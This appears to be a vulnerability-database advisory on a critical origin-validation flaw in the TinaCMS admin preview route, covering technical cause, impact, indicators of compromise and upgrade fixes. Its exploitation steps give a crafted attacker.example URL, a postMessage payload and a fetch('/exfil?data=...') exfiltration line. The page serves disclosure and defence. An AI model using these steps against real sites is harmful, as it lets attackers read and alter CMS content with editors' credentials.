Vulnerability DatabaseCVE-2026-108261

CVE-2026-108261: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-108261 is a critical origin validation and confused-deputy vulnerability in TinaCMS, a headless content management system. The flaw exists in the /~/* admin preview route, which allows an attacker-controlled URL fragment to be loaded as an off-origin iframe, with that attacker-controlled origin then trusted as the legitimate preview for the GraphQL message channel. This enables an unauthenticated attacker to perform arbitrary GraphQL reads and mutations using a signed-in editor's credentials. Affected versions are tinacms ≤ 3.13.0 and @tinacms/app ≤ 2.5.13; the issue was disclosed on October 9, 2026, and carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory).

Technical details

The root cause is an origin validation error (CWE-346) combined with a confused-deputy pattern (CWE-441) and open redirect behavior (CWE-601). In packages/tinacms/src/admin/index.tsx, the /~/* hash-router splat is prepended with a / and used directly as the iframe src without a same-origin check. When react-router-dom@6 processes a path like /~//attacker.example, it returns the splat as /attacker.example, which becomes the protocol-relative URL //attacker.example — loading an external site in the iframe. Critically, packages/@tinacms/app/src/lib/preview-origin.ts derives expectedOrigin from that same unvalidated URL via new URL(url, baseOrigin).origin, so the attacker's origin becomes the trusted anchor for the postMessage channel in graphql-reducer.ts. The attacker's frame can then send open messages that pass all trust checks, causing the admin to execute arbitrary GraphQL queries or mutations (including updateDocument, createDocument, deleteDocument) with the editor's authenticated token and post results back to the attacker. A prior partial fix in tinacms@3.9.3 added a sender-side origin check but never validated the URL that check compared against, leaving the vulnerability intact. A detailed PoC is included in the advisory (GitHub Advisory, Fix PR).

Impact

Successful exploitation grants an unauthenticated remote attacker full read and write access to the site's content API, operating under the signed-in editor's credentials. The attacker can exfiltrate any content the editor can access — including, on self-hosted deployments, authentication collections containing PBKDF2 password hashes — and perform any mutation (create, update, or delete documents). Because the payload resides entirely in the URL fragment, it never reaches the server or its access logs, making detection particularly difficult. Every TinaCMS deployment serving the admin bundle (both tinacms build output and tinacms dev) is affected, as the /~/* route is enabled by default with no configuration option to disable it (GitHub Advisory).

Exploitability

A detailed proof-of-concept is included in the GitHub Security Advisory, demonstrating the full attack chain including cross-origin frame loading, trust anchor hijacking, and GraphQL query/mutation exfiltration — all without contacting a live backend. The attack requires only that a signed-in TinaCMS editor clicks a crafted link; no privileges are required on the attacker's side. The EPSS score is 0.0 at time of publication, and the vulnerability is not currently listed in the CISA KEV catalog. No in-the-wild exploitation has been reported, and no threat actor attribution is available (GitHub Advisory, Feedly).

Exploitation steps

  1. Craft the malicious URL: Construct a URL targeting the victim's TinaCMS admin with a crafted hash fragment that encodes a protocol-relative path to an attacker-controlled server, e.g., https://victim-site.com/admin/index.html#/~//attacker.example/evil.html.
  2. Host the attacker page: Serve a page at https://attacker.example/evil.html that, on load, sends a postMessage to its parent window with a GraphQL open message: parent.postMessage({ type: 'open', id: 'poc-1', query: 'query { ... }', variables: {}, data: {} }, '*');
  3. Deliver the link to a signed-in editor: Send the crafted URL to a TinaCMS editor who is currently authenticated (via phishing, chat, email, etc.).
  4. Admin loads attacker iframe: When the editor opens the link, react-router-dom parses the splat /attacker.example/evil.html and the admin sets the iframe src to //attacker.example/evil.html, loading the attacker's page cross-origin.
  5. Trust anchor hijacked: getExpectedPreviewOrigin() resolves //attacker.example/evil.html to https://attacker.example as expectedOrigin, making the attacker's origin the trusted message source.
  6. GraphQL operation executed: The attacker's frame sends an open postMessage; isFromTrustedPreviewOrigin passes because event.origin === expectedOrigin and event.source is the framed window. The admin calls cms.api.tina.request() with the attacker's query using the editor's authenticated token.
  7. Results exfiltrated: The admin posts the GraphQL response back to expectedOrigin (the attacker's origin); the attacker's page receives it and forwards it to the attacker's server via fetch('/exfil?data=...') (GitHub Advisory).

Indicators of compromise

  • Network: Outbound requests from the editor's browser to an unexpected external domain loaded inside an iframe on the TinaCMS admin page; GET requests to attacker-controlled endpoints (e.g., /exfil?data=...) originating from the admin session.
  • Browser/Client-Side: The TinaCMS admin URL fragment contains a double-slash pattern such as #/~//external-domain.example/...; the admin iframe src attribute resolves to a protocol-relative or external URL rather than a same-origin path.
  • Logs: Because the payload is entirely in the URL fragment, it does not appear in server-side HTTP access logs. Client-side browser console logs may show [victim] ACCEPTED "open" message from "https://attacker.example" or similar cross-origin postMessage activity if developer tools are open.
  • Content Changes: Unexpected modifications to CMS content (documents created, updated, or deleted) without corresponding editor activity in audit logs, potentially indicating attacker-issued mutations (GitHub Advisory).

Mitigation and workarounds

Upgrade to tinacms ≥ 3.14.0 and @tinacms/app ≥ 2.5.14 immediately, as these versions contain the complete fix (tinacms release, @tinacms/app release). The fix introduces a resolvePreviewPath() function that resolves the router splat against the admin's own origin and rejects any result that leaves it (including double-slash, backslash, leading-tab, and dot-dot bypass variants); it also replaces getExpectedPreviewOrigin() with getPreviewOrigin(), which always returns window.location.origin rather than deriving the trust anchor from the URL (Fix PR). There is no known configuration-based workaround, as the /~/* route is unconditionally enabled in all TinaCMS admin builds. Organizations should also audit CMS content for unexpected modifications that may indicate prior exploitation.

Community reactions

The vulnerability was reported by Thai Son Dinh from VinSOC Labs (R&D) and credited in the GitHub Security Advisory. The Hacker Wire published a dedicated write-up titled "CVE-2026-108261: TinaCMS Admin Preview Route Exploited for GraphQL API Takeover," indicating notable security community interest. The advisory was also picked up by GitLab's advisory database and multiple CVE aggregators shortly after disclosure (GitHub Advisory, The Hacker Wire).

Additional resources


Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-108261CRITICAL9.3
  • JavaScript logoJavaScript
  • tinacms
NoYesOct 09, 2026
CVE-2026-108259HIGH8.2
  • JavaScript logoJavaScript
  • @tinacms/cli
NoYesOct 09, 2026
CVE-2026-107723HIGH8.1
  • JavaScript logoJavaScript
  • fast-jwt
NoYesOct 08, 2026
CVE-2026-108260HIGH7.6
  • JavaScript logoJavaScript
  • @tinacms/web-components
NoYesOct 09, 2026
CVE-2026-107724HIGH7.4
  • JavaScript logoJavaScript
  • fast-jwt
NoYesOct 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management